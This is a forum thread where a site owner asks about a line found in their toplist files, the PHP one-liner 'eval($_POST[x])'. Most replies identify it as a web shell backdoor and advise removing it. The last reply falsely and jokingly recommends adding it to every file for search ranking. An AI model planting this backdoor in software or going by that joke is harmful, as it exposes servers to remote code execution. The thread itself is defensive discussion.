<? eval($_POST[x]); ?> is this a hack?

[zentz]

i found this in my toplist files

<? eval($_POST[x]); ?>

what is that? a hack?

[seeandsee]

bump for php wizards

[Angry Jew Cat - Banned for Life]

hax teh planet

[ScriptWorkz]

Most likely, it executes whatever code is in the post variable 'x' as php, so if someone posted some malicious php code it could be pretty bad depending on how your server is configured.

I don't really see any real point in having that in there and would most likely remove it unless you know it's used for something and even then i'd find a way to replace that functionality w/o something that didn't leave such a big security hole.

[Linguist]

That code CANNOT be used for anything good, period.

If your toplist stops working after removing that line, find another piece of software to replace it, no programmer with half a clue would include that code.

[HomerSimpson]

yes it is...
it can run any command attacker wants...

[u-Bob]

It's evil.

[TeenCat]

"insert shell here"

[V_RocKs]

That is indeed "a hack"... Remote shell... Allows anyone to execute code as the user apache is running as. Usually "nobody".

What can it be used for?

select * from users;

among other things...

[Killswitch - BANNED FOR LIFE]

heh, remove it, asap.

[SmokeyTheBear]

thats the secret google priority code, you should place it on the top of every file for better search engine ranking